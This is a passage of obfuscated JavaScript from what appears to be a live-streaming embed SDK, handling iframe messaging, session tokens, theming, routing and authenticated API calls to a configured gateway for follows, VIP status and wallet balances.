Object[_0x1d1e39(0x2c8)](this[_0x1d1e39(0x1f4)])[_0x1d1e39(0x279)](_0x14b130 => this[_0x1d1e39(0x342)](_0x14b130, _0x4d5e5f, _0x3fbbeb)); } [_0x19623e(0x324)](_0x54c593, _0x2abed2, _0x57fe0c, _0xdd356c = null, _0x574b48 = !0x1) { const _0x51079f = _0x19623e, _0x46512e = this[_0x51079f(0x1f4)][_0x57fe0c]; if (_0x46512e) { const { callbacks: _0x135a12 } = _0x46512e; return _0x135a12[_0x54c593] || (_0x135a12[_0x54c593] = []), void _0x135a12[_0x54c593][_0x51079f(0x253)]({ 'callback': _0x2abed2, 'type': _0x54c593, 'messageId': _0xdd356c, 'removeOnReceipt': _0x574b48 }); } this[_0x51079f(0x247)][_0x54c593] = { 'callback': _0x2abed2, 'type': _0x54c593 }; } [_0x19623e(0x219)](_0x23439c, _0x2e7774, _0x3adbb0 = null) { const _0x4b484d = _0x19623e, _0x244213 = this['iframesData'][_0x2e7774]; if (_0x244213) { const { callbacks: _0xbbfa37 } = _0x244213; return _0x3adbb0 ? void (_0xbbfa37[_0x23439c] && (_0x244213[_0x4b484d(0x247)][_0x23439c] = _0xbbfa37[_0x23439c][_0x4b484d(0x235)](_0x16a581 => _0x16a581[_0x4b484d(0x2f8)] !== _0x3adbb0), _0x244213[_0x4b484d(0x247)][_0x23439c][_0x4b484d(0x1a9)] < 0x1 && delete _0x244213[_0x4b484d(0x247)][_0x23439c])) : void delete _0xbbfa37[_0x23439c]; } delete this[_0x4b484d(0x247)][_0x23439c]; } [_0x19623e(0x2b6)](_0x3f31dd) { const _0x60c1e = _0x19623e, _0x5c1c25 = this[_0x60c1e(0x1f4)][_0x3f31dd]; _0x5c1c25 ? _0x5c1c25[_0x60c1e(0x247)] = {} : this['callbacks'] = {}; } ['onPostMessage'](_0x1b5aa6) { const _0x45001f = _0x19623e; if (_0x1b5aa6['data'][_0x45001f(0x2e5)] in this[_0x45001f(0x1f4)] && Object[_0x45001f(0x1c3)](this[_0x45001f(0x1f4)])[_0x45001f(0x242)](({ origin: _0x36d811 }) => _0x1b5aa6[_0x45001f(0x280)] === _0x36d811)) { const { type: _0x454f03, payload: _0x20b13d, frameId: _0x570447 } = _0x1b5aa6[_0x45001f(0x1eb)], _0x1cea50 = [], _0x1c9b57 = this['getIframeData'](_0x570447); switch (_0x1cea50[_0x45001f(0x253)](..._0x1c9b57[_0x45001f(0x247)][_0x454f03] || []), 0x0 === _0x1cea50[_0x45001f(0x1a9)] && this[_0x45001f(0x247)][_0x454f03] && _0x1cea50[_0x45001f(0x253)](this[_0x45001f(0x247)][_0x454f03]), _0x454f03) { case _0x18c391[_0x45001f(0x212)][_0x45001f(0x236)]: _0x1c9b57[_0x45001f(0x23a)] = !0x0, _0x3cb68c[_0x45001f(0x289)] = !(!_0x20b13d || !_0x20b13d[_0x45001f(0x289)]), _0x1c9b57[_0x45001f(0x221)][_0x45001f(0x279)](_0xa69990 => { const _0x409ab0 = _0x45001f; _0xa69990[_0x409ab0(0x1c5)](..._0xa69990[_0x409ab0(0x267)]); }), _0x1c9b57[_0x45001f(0x221)] = []; break; case _0x18c391[_0x45001f(0x212)][_0x45001f(0x297)]: _0x20b13d && !0x0 === _0x20b13d[_0x45001f(0x33e)] ? _0x24856a[_0x45001f(0x2a6)](_0x1c9b57, _0x20b13d['id'], _0x20b13d[_0x45001f(0x2f7)], () => { const _0x275591 = _0x45001f; this[_0x275591(0x342)](_0x570447, _0x18c391[_0x275591(0x32e)][_0x275591(0x1e0)], { 'id': _0x20b13d['id'] }); }) : _0x24856a[_0x45001f(0x200)](_0x1c9b57, _0x20b13d['id']); break; case _0x18c391['INCOMING_MESSAGE_TYPES'][_0x45001f(0x29e)]: _0x1c9b57[_0x45001f(0x23f)] = _0x20b13d[_0x45001f(0x320)]; default: if (_0x1b5aa6['data'][_0x45001f(0x2f8)]) { const _0x2dc0c0 = _0x1cea50['find'](({ messageId: _0x5baf65 }) => _0x1b5aa6[_0x45001f(0x1eb)][_0x45001f(0x2f8)] === _0x5baf65); if (!_0x2dc0c0) return void console['warn'](_0x45001f(0x334) + _0x1b5aa6[_0x45001f(0x1eb)][_0x45001f(0x2b4)] + _0x45001f(0x2b5)); _0x2dc0c0[_0x45001f(0x211)](_0x20b13d, _0x570447), _0x2dc0c0[_0x45001f(0x2ad)] && this['unsubscribe'](_0x454f03, _0x570447, _0x2dc0c0[_0x45001f(0x2f8)]); } else _0x1cea50['filter'](({ callback: _0x442dd7, messageId: _0x35f239 }) => _0x45001f(0x1de) == typeof _0x442dd7 && !_0x35f239)[_0x45001f(0x279)](({ callback: _0x3e631c } = {}) => _0x3e631c(_0x20b13d, _0x570447)); } } } }(), this[_0x19623e(0x1b0)] = _0x3cb68c, this[_0x19623e(0x2ba)] = new _0x13aec9(), this[_0x19623e(0x312)] = new class { constructor({ hostAppName: _0x311735, hostAppVersion: _0x38a120, sdkVersion: _0x9c3fbb }) { const _0x60f391 = _0x19623e; this['userAgent'] = _0x311735 + '/' + _0x38a120 + _0x60f391(0x203) + _0x9c3fbb, _0x396de1['validateRequestUserAgent'](this['userAgent']); } ['sendRequest'](_0x3601fa, _0x129135 = () => { }) { const _0x36d647 = _0x19623e; try { _0x396de1['validateRequestOptions'](_0x3601fa); } catch (_0x36932a) { return void _0x129135(null, _0x36932a); } const { method: _0x3dc90a, url: _0x41162c, headers: _0x34eea5, body: _0x159045, withCredentials: _0x49037a } = _0x3601fa, _0x5112e7 = { 'x-user-agent': this[_0x36d647(0x230)], ..._0x34eea5 }, _0xba26aa = new XMLHttpRequest(); _0xba26aa[_0x36d647(0x216)](_0x3dc90a, _0x41162c, !0x0), Object['keys'](_0x5112e7)[_0x36d647(0x1a9)] > 0x0 && Object[_0x36d647(0x2c8)](_0x5112e7)[_0x36d647(0x279)](_0x598179 => { const _0x5b1fee = _0x36d647, _0x22447a = _0x5112e7[_0x598179]; void 0x0 !== _0x22447a && _0xba26aa[_0x5b1fee(0x344)](_0x598179, _0x22447a); }), this[_0x36d647(0x226)](_0xba26aa, _0x129135), _0xba26aa[_0x36d647(0x2b1)] = !!_0x49037a, _0xba26aa[_0x36d647(0x342)](_0x159045); } [_0x19623e(0x226)](_0xc86a00, _0x4b3489) { const _0x258040 = _0x19623e; _0xc86a00 instanceof XMLHttpRequest && (_0xc86a00[_0x258040(0x24c)] = () => { const _0x88b230 = _0x258040; if (_0xc86a00[_0x88b230(0x1fb)] === XMLHttpRequest[_0x88b230(0x2f9)]) { let _0x55d6eb, _0x44098e = null, _0x3c1962 = null; try { _0x55d6eb = JSON['parse'](_0xc86a00[_0x88b230(0x1f2)]); } catch (_0x90612b) { _0x55d6eb = _0xc86a00['responseText']; } _0xc86a00[_0x88b230(0x25c)] === _0x18c391[_0x88b230(0x305)]['SUCCESS'] ? _0x44098e = _0x55d6eb : _0x3c1962 = { 'code': _0xc86a00[_0x88b230(0x25c)], 'message': _0x55d6eb }, _0x88b230(0x1de) == typeof _0x4b3489 && _0x4b3489(_0x44098e, _0x3c1962); } }); } }({ 'hostAppName': _0x2abfb9[_0x19623e(0x34f)], 'hostAppVersion': _0x2abfb9[_0x19623e(0x20f)], 'sdkVersion': _0x33aa97 }), this[_0x19623e(0x33c)] = _0x24856a, this[_0x19623e(0x2bb)] = _0x2abfb9, /\/+$/[_0x19623e(0x330)](this['config'][_0x19623e(0x2c4)]) && (this[_0x19623e(0x2bb)][_0x19623e(0x2c4)] = this[_0x19623e(0x2bb)][_0x19623e(0x2c4)][_0x19623e(0x1b7)](/\/+$/g, '')), /\/+$/[_0x19623e(0x330)](this[_0x19623e(0x2bb)][_0x19623e(0x259)]) && (this['config']['authUrl'] = this[_0x19623e(0x2bb)][_0x19623e(0x259)][_0x19623e(0x1b7)](/\/+$/g, '')), this[_0x19623e(0x1b4)] = new class { constructor({ hostAppName: _0x5b7f77, hostAppVersion: _0x5d95ec, credentials: _0x39117, locale: _0x3837ef, authToken: _0x1c409d, chatSupport: _0x168168, rechargeURL: _0x4b0d8d, gendersSupport: _0x4a08a7 = !0x0 }, _0x3f931d, _0x5db8ba) { const _0x130e37 = _0x19623e; this[_0x130e37(0x2bb)] = { 'hostAppName': _0x5b7f77, 'hostAppVersion': _0x5d95ec, 'credentials': _0x39117, 'locale': _0x3837ef, 'authToken': _0x1c409d, 'chatSupport': !!_0x168168, 'gendersSupport': !!_0x4a08a7, 'rechargeURL': _0x4b0d8d }, this[_0x130e37(0x2ba)] = _0x3f931d, this[_0x130e37(0x34c)] = _0x5db8ba; } [_0x19623e(0x227)](_0x8fcd88, _0x54ea51) { const _0x158b1a = _0x19623e, { hostAppName: _0x553aa8, hostAppVersion: _0x52e506, locale: _0x5077e6, chatSupport: _0x1e0726, rechargeURL: _0x42e1c3, gendersSupport: _0x4b31ab } = this[_0x158b1a(0x2bb)]; _0x3cb68c['ensureAccessTokenLoaded']((_0x5ce79c, _0x4d919f) => { const _0x504b18 = _0x158b1a; if (_0x4d919f) throw this[_0x504b18(0x34c)][_0x504b18(0x342)](_0x54ea51, _0x18c391[_0x504b18(0x32e)][_0x504b18(0x28d)], _0x18c391[_0x504b18(0x32f)][_0x504b18(0x32a)]), new Error(_0x18c391[_0x504b18(0x32f)][_0x504b18(0x32a)]); const _0x4678be = { 'requestToken': _0x5ce79c[_0x504b18(0x1d0)], 'refreshToken': _0x5ce79c[_0x504b18(0x23d)], 'expiresIn': _0x5ce79c[_0x504b18(0x309)], 'locale': _0x5077e6, 'chatSupport': _0x1e0726, 'gendersSupport': _0x4b31ab, 'hostAppName': _0x553aa8, 'hostAppVersion': _0x52e506, 'theme': this['styleManager'][_0x504b18(0x245)](), 'rechargeURL': _0x42e1c3 }; this[_0x504b18(0x34c)]['send'](_0x54ea51, _0x18c391[_0x504b18(0x32e)][_0x504b18(0x1fa)], _0x4678be); }); } [_0x19623e(0x254)]() { const _0x57ca1d = _0x19623e; _0x3cb68c[_0x57ca1d(0x23d)]((_0xc9af6a, _0x578c5f) => { const _0x148ffe = _0x57ca1d; if (_0x578c5f) return void (_0x3cb68c[_0x148ffe(0x202)] ? _0x3cb68c['reinitSessionHandler']() : this[_0x148ffe(0x34c)][_0x148ffe(0x27a)](_0x18c391[_0x148ffe(0x32e)][_0x148ffe(0x1b2)], _0x578c5f)); const _0x386062 = { 'requestToken': _0xc9af6a[_0x148ffe(0x1d0)], 'refreshToken': _0xc9af6a[_0x148ffe(0x23d)], 'expiresIn': _0xc9af6a[_0x148ffe(0x309)] }; this[_0x148ffe(0x34c)][_0x148ffe(0x27a)](_0x18c391[_0x148ffe(0x32e)][_0x148ffe(0x1b2)], _0x386062); }); } }(this[_0x19623e(0x2bb)], this[_0x19623e(0x2ba)], this[_0x19623e(0x34c)]), this['livePreviewManager'] = new _0xf2b906(_0x3cb68c, this[_0x19623e(0x312)], { 'network': this[_0x19623e(0x2bb)][_0x19623e(0x34f)], 'gatewayUrl': this[_0x19623e(0x2bb)][_0x19623e(0x2c4)] }), this['socialNetworkManager'] = new _0x31ce3d(_0x3cb68c, this[_0x19623e(0x312)], { 'network': this[_0x19623e(0x2bb)][_0x19623e(0x34f)], 'hostAppVersion': this[_0x19623e(0x2bb)][_0x19623e(0x20f)], 'gatewayUrl': this[_0x19623e(0x2bb)]['gatewayUrl'] }), this[_0x19623e(0x21b)] = new class { constructor(_0x12054c) { this['socialNetworkManager'] = _0x12054c; } async[_0x19623e(0x1ea)](_0x7d6a6) { const _0x468d1a = _0x19623e, { objectId: _0xde8e88, streamDescription: _0x5e254a, currentViewers: _0x35fa82, totalViewers: _0x4218e3, userDetails: { firstName: _0x35d4eb, networkUserId: _0x46d33d, socialNetwork: { socialNetworkName: _0x3e4f44, objectId: _0x343777 } = {}, profilePic: { large: _0x21acf2, square: _0x396df3 } = {} } = {}, isActive: _0x4d9349, metadata: { distanceInKm: _0x4d20cb = null } = {} } = _0x7d6a6 || {}; let _0x375ddf = _0x3e4f44; if (!_0x375ddf) { const _0x4e3e00 = await this[_0x468d1a(0x1da)][_0x468d1a(0x2b9)](_0x343777); _0x375ddf = _0x4e3e00?.[_0x468d1a(0x250)]; } return { 'broadcastId': _0xde8e88, 'streamDescription': _0x5e254a, 'currentViewers': _0x35fa82, 'totalViewers': _0x4218e3, 'streamerFirstName': _0x35d4eb, 'networkUserId': _0x375ddf + _0x468d1a(0x314) + _0x46d33d, 'distanceInKm': _0x4d20cb, 'profilePic': { 'large': _0x21acf2, 'square': _0x396df3 }, 'isActive': _0x4d9349 }; } }(this[_0x19623e(0x1da)]), this[_0x19623e(0x1b0)][_0x19623e(0x2fb)]({ ...this['config'], 'requestManager': this[_0x19623e(0x312)] }), this[_0x19623e(0x2f2)] = new class { constructor() { const _0x5673f3 = _0x19623e; this[_0x5673f3(0x1f3)] = [], this[_0x5673f3(0x1bb)] = !0x1; } [_0x19623e(0x310)](_0x57afd9) { return new Promise((_0x559aa7, _0x569d7f) => { this['queue']['push']({ 'promise': _0x57afd9, 'resolve': _0x559aa7, 'reject': _0x569d7f }), this['dequeue'](); }); } ['dequeue']() { const _0x4d81ad = _0x19623e; if (this[_0x4d81ad(0x2dc)]) return !0x1; const _0xe760be = this['queue'][_0x4d81ad(0x260)](); if (!_0xe760be) return !0x1; try { this['workingOnPromise'] = !0x0, _0xe760be[_0x4d81ad(0x1e4)]()[_0x4d81ad(0x347)](_0xe883cc => { const _0x16c1f0 = _0x4d81ad; this[_0x16c1f0(0x2dc)] = !0x1, _0xe760be[_0x16c1f0(0x246)](_0xe883cc), setTimeout(() => this['dequeue'](), 0x0); })[_0x4d81ad(0x2cd)](_0x39aa10 => { const _0x581694 = _0x4d81ad; this[_0x581694(0x2dc)] = !0x1, _0xe760be['reject'](_0x39aa10), setTimeout(() => this[_0x581694(0x2ef)](), 0x0); }); } catch (_0x527132) { this['workingOnPromise'] = !0x1, _0xe760be[_0x4d81ad(0x2f4)](_0x527132), setTimeout(() => this['dequeue'](), 0x0); } return !0x0; } }(), this[_0x19623e(0x2df)] = new class { constructor(_0x375890) { const _0x3246d7 = _0x19623e; this[_0x3246d7(0x34c)] = _0x375890; } [_0x19623e(0x27e)](_0x301068, _0x4b542a, _0x68d2d5 = null, _0x2d2717 = 0xbb8) { const _0x1d9ed3 = _0x19623e, _0x11ef58 = this[_0x1d9ed3(0x34c)][_0x1d9ed3(0x319)](_0x68d2d5); return new Promise((_0x4d156e, _0x450cf7) => { const _0x4c5871 = _0x1d9ed3, _0x5187a3 = Math[_0x4c5871(0x204)]()[_0x4c5871(0x28b)](0x24)[_0x4c5871(0x329)](0x2), _0x10da6f = setTimeout(() => { const _0x20175c = _0x4c5871; this[_0x20175c(0x34c)]['unsubscribe'](_0x301068, _0x11ef58[_0x20175c(0x2e5)], _0x5187a3), _0x450cf7(new Error(_0x20175c(0x208) + _0x301068)); }, _0x2d2717); this['postManager'][_0x4c5871(0x324)](_0x301068, ({ error: _0x5ed58c, result: _0x3e5407 }) => { const _0xfbb648 = _0x4c5871; clearTimeout(_0x10da6f), _0x5ed58c ? _0x450cf7(new Error(_0x5ed58c[_0xfbb648(0x1dc)] || _0xfbb648(0x32d))) : _0x4d156e(_0x3e5407); }, _0x11ef58[_0x4c5871(0x2e5)], _0x5187a3, !0x0), this[_0x4c5871(0x34c)][_0x4c5871(0x342)](_0x11ef58['frameId'], _0x301068, _0x4b542a, _0x5187a3); }); } async[_0x19623e(0x2a0)](_0x2dbccb, _0x14d4be = null) { const _0x1e5c49 = _0x19623e; return await this[_0x1e5c49(0x27e)](_0xe09cce[_0x1e5c49(0x20b)], { 'config': _0x2dbccb }, _0x14d4be); } }(this['postManager']); } async[_0x239636(0x22c)](_0x5780fb, _0x395819, _0x168f1e = []) { const _0x2b09e1 = _0x239636, { version: _0x119efc = null, hostAppName: _0x5372a8, hostAppVersion: _0x2f14af } = this[_0x2b09e1(0x2bb)], _0x1372a3 = Math[_0x2b09e1(0x204)]()[_0x2b09e1(0x28b)](0x24)[_0x2b09e1(0x329)](0x2); this['postManager'][_0x2b09e1(0x324)](_0x18c391[_0x2b09e1(0x212)][_0x2b09e1(0x1fa)], this[_0x2b09e1(0x1b4)]['handleBootstrapMessage'][_0x2b09e1(0x290)](this[_0x2b09e1(0x1b4)]), _0x1372a3), this[_0x2b09e1(0x34c)][_0x2b09e1(0x324)](_0x18c391[_0x2b09e1(0x212)]['REFRESH_SESSION'], this[_0x2b09e1(0x1b4)][_0x2b09e1(0x254)][_0x2b09e1(0x290)](this[_0x2b09e1(0x1b4)]), _0x1372a3); try { const _0x23f16c = new URL(_0x395819); _0x23f16c['searchParams'][_0x2b09e1(0x21a)](_0x2b09e1(0x34f), _0x5372a8), _0x23f16c[_0x2b09e1(0x1db)][_0x2b09e1(0x21a)](_0x2b09e1(0x20f), _0x2f14af), _0x23f16c['searchParams'][_0x2b09e1(0x21a)](_0x2b09e1(0x2e5), _0x1372a3), _0x23f16c[_0x2b09e1(0x1db)][_0x2b09e1(0x21a)](_0x2b09e1(0x222), _0x33aa97), _0x168f1e[_0x2b09e1(0x279)](_0x1e1b81 => _0x23f16c[_0x2b09e1(0x1db)][_0x2b09e1(0x21a)](_0x2b09e1(0x317), _0x1e1b81)), _0x119efc && _0x23f16c[_0x2b09e1(0x1db)]['append']('v', _0x119efc), this[_0x2b09e1(0x2bb)]['webLiveURL'] = _0x23f16c['toString'](); } catch (_0x582965) { this[_0x2b09e1(0x2bb)][_0x2b09e1(0x1ff)] = _0x395819; } return this[_0x2b09e1(0x1b0)][_0x2b09e1(0x2fb)]({ ...this['config'], 'requestManager': this['requestManager'] }), this['authenticationManager'][_0x2b09e1(0x1fe)](() => { }), this[_0x2b09e1(0x34c)][_0x2b09e1(0x22c)](_0x5780fb, this[_0x2b09e1(0x2bb)][_0x2b09e1(0x1ff)], _0x1372a3), { 'frameId': _0x1372a3 }; } [_0x239636(0x272)](_0x3357f4) { const _0x20805d = _0x239636; _0x396de1[_0x20805d(0x26f)](_0x3357f4), this['authenticationManager'][_0x20805d(0x251)](_0x3357f4); } [_0x239636(0x205)](_0x5720a8, _0x43c5f4 = null, _0x48b487 = null) { const _0x147bad = _0x239636; this['postManager'][_0x147bad(0x342)](_0x48b487, _0x18c391[_0x147bad(0x32e)][_0x147bad(0x29e)], { 'route': _0x5720a8, 'filter': _0x43c5f4 }); } [_0x239636(0x2ab)](_0xd7d716, _0x2cc53c = {}, _0x3f4571 = null) { const _0x1e46c3 = _0x239636, _0x49e487 = _0x224fb9[_0x1e46c3(0x25a)](_0xd7d716, _0x2cc53c || {}); this['changeRoute'](_0x49e487, null, _0x3f4571); } [_0x239636(0x23c)](_0x40f5dc) { const _0x46dd42 = _0x239636; _0x396de1[_0x46dd42(0x26f)](_0x40f5dc), this['postManager']['subscribe'](_0x18c391[_0x46dd42(0x212)]['ROUTER'], _0x40f5dc); } [_0x239636(0x346)](_0x442034) { const _0x504a97 = _0x239636; _0x396de1[_0x504a97(0x26f)](_0x442034), this['postManager'][_0x504a97(0x324)](_0x18c391[_0x504a97(0x212)][_0x504a97(0x1e8)], (_0x5a8116 = {}) => { const _0x1605c8 = _0x504a97; _0x442034(_0x5a8116[_0x1605c8(0x2c0)], _0x5a8116['recipientMemberId'], _0x5a8116[_0x1605c8(0x1dc)]); }); } [_0x239636(0x29a)](_0x339a17) { const _0x8bf888 = _0x239636; _0x396de1[_0x8bf888(0x26f)](_0x339a17), this[_0x8bf888(0x1b0)][_0x8bf888(0x20c)](_0x339a17); } [_0x239636(0x269)](_0x2af7da) { const _0x3afabb = _0x239636; _0x396de1[_0x3afabb(0x26f)](_0x2af7da), this[_0x3afabb(0x34c)][_0x3afabb(0x324)](_0x18c391[_0x3afabb(0x212)][_0x3afabb(0x352)], (_0x54c4c5 = {}) => { const _0x5068e9 = _0x3afabb; _0x2af7da(_0x54c4c5[_0x5068e9(0x2cf)]); }); } [_0x239636(0x2d2)](_0x590036) { const _0x12b380 = _0x239636; _0x396de1[_0x12b380(0x26f)](_0x590036), this[_0x12b380(0x34c)][_0x12b380(0x324)](_0x18c391['INCOMING_MESSAGE_TYPES'][_0x12b380(0x24e)], (_0x4b68f8 = {}) => { _0x590036(_0x4b68f8); }); } [_0x239636(0x26b)](_0x46d666) { const _0x2821ed = _0x239636; _0x396de1['validateCallback'](_0x46d666), this['postManager'][_0x2821ed(0x324)](_0x18c391[_0x2821ed(0x212)][_0x2821ed(0x2a2)], (_0x512087 = {}) => { _0x46d666(_0x512087, _0x22a97e => { const _0x16a3a2 = _0x31ec; this['setNewAuthToken'](_0x22a97e || this['eventManager'][_0x16a3a2(0x2bb)][_0x16a3a2(0x26e)]); }); }); } [_0x239636(0x32c)](_0x5614c0) { const _0x264b7c = _0x239636; this['eventManager'][_0x264b7c(0x2bb)][_0x264b7c(0x26e)] = _0x5614c0, this[_0x264b7c(0x1b0)]['requestToken'](_0x5614c0, !0x1, !0x0)[_0x264b7c(0x347)](_0x3029b8 => { const _0x20097e = _0x264b7c; this['postManager'][_0x20097e(0x27a)](_0x18c391[_0x20097e(0x32e)][_0x20097e(0x1b2)], _0x3029b8); })[_0x264b7c(0x2cd)](() => { const _0xb283 = _0x264b7c; throw this[_0xb283(0x34c)]['sendToAll'](_0x18c391[_0xb283(0x32e)][_0xb283(0x28d)], _0x18c391[_0xb283(0x32f)][_0xb283(0x32a)]), new Error(_0x18c391[_0xb283(0x32f)][_0xb283(0x32a)]); }); } [_0x239636(0x1d4)](_0x7a7911, _0x2dc61b) { const _0x264e01 = _0x239636; if (!_0x50af2c['test'](_0x7a7911)) throw new Error(_0x18c391[_0x264e01(0x32f)]['invalidColor']); this[_0x264e01(0x2ba)][_0x264e01(0x1d4)](_0x7a7911), this[_0x264e01(0x2fe)](this['styleManager']['getTheme'](), _0x2dc61b); } [_0x239636(0x2fe)](_0x2c9cbd, _0x57a7e9) { const _0x47283a = _0x239636; this[_0x47283a(0x2ba)]['setTheme'](_0x2c9cbd); const _0x518976 = { 'theme': _0x2c9cbd }; this[_0x47283a(0x34c)][_0x47283a(0x342)](_0x57a7e9, _0x18c391[_0x47283a(0x32e)]['SET_THEME'], _0x518976); } [_0x239636(0x2a0)](_0x5974c2, _0x173183 = null, _0x2c3c32 = () => { }) { const _0x18d4e8 = _0x239636; if (_0x396de1[_0x18d4e8(0x26f)](_0x2c3c32), !_0x5974c2 || _0x18d4e8(0x34d) != typeof _0x5974c2) throw new Error('Invalid\x20route\x20mapping\x20config!'); const _0x58eca9 = { ..._0x5974c2 }; _0x58eca9[_0x18d4e8(0x2ae)] || (_0x58eca9[_0x18d4e8(0x2ae)] = window[_0x18d4e8(0x308)][_0x18d4e8(0x280)]), this[_0x18d4e8(0x2df)]['setRouteMapping'](_0x58eca9, _0x173183)[_0x18d4e8(0x347)](() => _0x2c3c32(null, null))[_0x18d4e8(0x2cd)](_0x18582d => _0x2c3c32(_0x18582d)); } [_0x239636(0x30d)](_0x5bb4d8) { const _0x1f2d89 = _0x239636, _0x54cddf = Number(_0x5bb4d8); Number[_0x1f2d89(0x233)](_0x54cddf) || this[_0x1f2d89(0x33c)][_0x1f2d89(0x30d)](_0x54cddf); } [_0x239636(0x1fe)](_0x26c124) { const _0x5ec5d9 = _0x239636; this[_0x5ec5d9(0x1b0)][_0x5ec5d9(0x1fe)](_0x26c124); } ['getUserRelation'](_0xff25a8, _0xc63c8) { const _0x3fde39 = _0x239636; _0x396de1[_0x3fde39(0x2a3)](_0xff25a8), _0x396de1[_0x3fde39(0x26f)](_0xc63c8), this['ensureAccessTokenLoaded']((_0x1cafbf, _0x43f152) => { const _0x1b45ab = _0x3fde39; _0x43f152 ? _0xc63c8(_0x43f152) : this[_0x1b45ab(0x312)][_0x1b45ab(0x257)]({ 'method': _0x18c391[_0x1b45ab(0x1ba)][_0x1b45ab(0x2b0)], 'withCredentials': !0x0, 'url': this[_0x1b45ab(0x2bb)][_0x1b45ab(0x2c4)] + _0x1b45ab(0x252) + _0xff25a8 + _0x1b45ab(0x26d), 'headers': { 'content-type': _0x1b45ab(0x1ae), 'Authorization': 'Bearer\x20' + _0x3cb68c['tokenData'][_0x1b45ab(0x1d0)] } }, (_0x1d2693, _0x23289f) => _0x23289f ? _0xc63c8(_0x23289f) : _0xc63c8(null, _0x1d2693)); }); } [_0x239636(0x2a4)]({ networkUserId: _0xeeefa4, following: _0x118978, source: _0x5c4112 }, _0x36c2a4) { const _0x443dc5 = _0x239636; _0x396de1[_0x443dc5(0x2a3)](_0xeeefa4), _0x396de1[_0x443dc5(0x26f)](_0x36c2a4), this[_0x443dc5(0x1fe)]((_0x542d21, _0x105791) => { const _0x4085d4 = _0x443dc5; _0x105791 ? _0x36c2a4(_0x105791) : this[_0x4085d4(0x312)]['sendRequest']({ 'method': _0x18c391[_0x4085d4(0x1ba)][_0x4085d4(0x27f)], 'withCredentials': !0x0, 'url': this['config']['gatewayUrl'] + '/profile/users/' + _0xeeefa4 + _0x4085d4(0x26d), 'headers': { 'content-type': 'application/json;\x20charset=UTF-8', 'Authorization': _0x4085d4(0x345) + _0x3cb68c[_0x4085d4(0x278)][_0x4085d4(0x1d0)] }, 'body': JSON['stringify']({ 'following': !!_0x118978, 'source': _0x5c4112 }) }, (_0x12a3fe, _0xfa44c9) => _0xfa44c9 ? _0x36c2a4(_0xfa44c9) : _0x36c2a4(null, _0x12a3fe)); }); } [_0x239636(0x25b)](_0x512223, _0xbff353, _0x5b7a97 = () => { }) { const _0x50ddbd = _0x239636; this[_0x50ddbd(0x1fe)]((_0x23956e, _0x3b5baa) => { const _0x3b1aec = _0x50ddbd; _0x3b5baa ? _0x5b7a97(_0x3b5baa) : this[_0x3b1aec(0x312)][_0x3b1aec(0x257)]({ 'method': _0x18c391[_0x3b1aec(0x1ba)][_0x3b1aec(0x2c9)], 'withCredentials': !0x0, 'url': this[_0x3b1aec(0x2bb)][_0x3b1aec(0x2c4)] + _0x3b1aec(0x252) + _0x512223, 'headers': { 'content-type': _0x3b1aec(0x1ae), 'Authorization': 'Bearer\x20' + _0x3cb68c[_0x3b1aec(0x278)][_0x3b1aec(0x1d0)] }, 'body': JSON[_0x3b1aec(0x1be)](_0xbff353) }, (_0x13d800, _0x19f614) => _0x19f614 ? _0x5b7a97(_0x19f614) : _0x5b7a97(null, _0x13d800)); }); } [_0x239636(0x2f0)](_0x2e10c3) { const _0x1ccd13 = _0x239636; _0x396de1[_0x1ccd13(0x26f)](_0x2e10c3), this[_0x1ccd13(0x1fe)]((_0x8ac5c2, _0x36d069) => { const _0x1aaaaf = _0x1ccd13; _0x36d069 ? _0x2e10c3(_0x36d069) : this['requestManager'][_0x1aaaaf(0x257)]({ 'method': _0x18c391[_0x1aaaaf(0x1ba)][_0x1aaaaf(0x2b0)], 'withCredentials': !0x0, 'url': this[_0x1aaaaf(0x2bb)][_0x1aaaaf(0x2c4)] + '/vip', 'headers': { 'content-type': 'application/json;\x20charset=UTF-8', 'Authorization': _0x1aaaaf(0x345) + _0x3cb68c[_0x1aaaaf(0x278)][_0x1aaaaf(0x1d0)] } }, ({ keys: _0x3879f8 }, _0x3d5d2b) => _0x3d5d2b ? _0x2e10c3(_0x3d5d2b) : _0x2e10c3(null, { 'keys': _0x3879f8 })); }); } [_0x239636(0x24a)](_0x1ca068) { const _0x1d38ee = _0x239636; _0x396de1[_0x1d38ee(0x26f)](_0x1ca068), this[_0x1d38ee(0x1fe)]((_0xab66e3, _0x1b565d) => { const _0x58c697 = _0x1d38ee; _0x1b565d ? _0x1ca068(_0x1b565d) : this[_0x58c697(0x312)][_0x58c697(0x257)]({ 'method': _0x18c391[_0x58c697(0x1ba)][_0x58c697(0x2b0)], 'withCredentials': !0x0, 'url': this[_0x58c697(0x2bb)][_0x58c697(0x2c4)] + _0x58c697(0x2a1), 'headers': { 'content-type': _0x58c697(0x1ae), 'Authorization': _0x58c697(0x345) + _0xab66e3[_0x58c697(0x1d0)] } }, (_0x1cb11d, _0x39a2f3) => { if (_0x39a2f3) return _0x1ca068(_0x39a2f3); const { items: _0x75bdff } = _0x1cb11d; return _0x1ca068(null, { 'items': _0x75bdff }); }); }); } [_0x239636(0x338)](_0x18786f, _0x2801f7) { const _0x1fcb9b = _0x239636; _0x396de1['validateCallback'](_0x2801f7), this[_0x1fcb9b(0x1fe)]((_0x153c7d, _0x34ca1b) => { const _0xc2292a = _0x1fcb9b; _0x34ca1b ? _0x2801f7(_0x34ca1b) : this[_0xc2292a(0x312)][_0xc2292a(0x257)]({ 'method': _0x18c391[_0xc2292a(0x1ba)]['GET'], 'withCredentials': !0x0, 'url': this[_0xc2292a(0x2bb)][_0xc2292a(0x2c4)] + _0xc2292a(0x2be) + _0x18786f, 'headers': { 'content-type': _0xc2292a(0x1ae), 'Authorization': _0xc2292a(0x345) + _0x153c7d['accessToken'] } }, (_0x524de6, _0x585fb1) => { if (_0x585fb1) return _0x2801f7(_0x585fb1); const { owner: _0x4d3802, balance: _0x143739 } = _0x524de6; return _0x2801f7(null, { 'owner': _0x4d3802, 'currency': _0x18786f, 'balance': _0x143739 }); }); }); } [_0x239636(0x30a)](_0x5aca26) { const _0xb2e733 = _0x239636; _0x396de1[_0xb2e733(0x26f)](_0x5aca26), this[_0xb2e733(0x1ca)]()[_0xb2e733(0x347)](_0x13d231 => { const _0x3bfc61 = _0xb2e733, { economy: { currency: { id: _0x4b7dc5 } = {} } = {} } = _0x13d231; this[_0x3bfc61(0x338)](_0x4b7dc5, _0x5aca26); })[_0xb2e733(0x2cd)](_0x3ea7b8 => _0x5aca26(_0x3ea7b8, null)); } [_0x239636(0x20d)](_0x3d599d, _0x247de3) { const _0x42b58c = _0x239636; _0x396de1[_0x42b58c(0x2a3)](_0x3d599d), 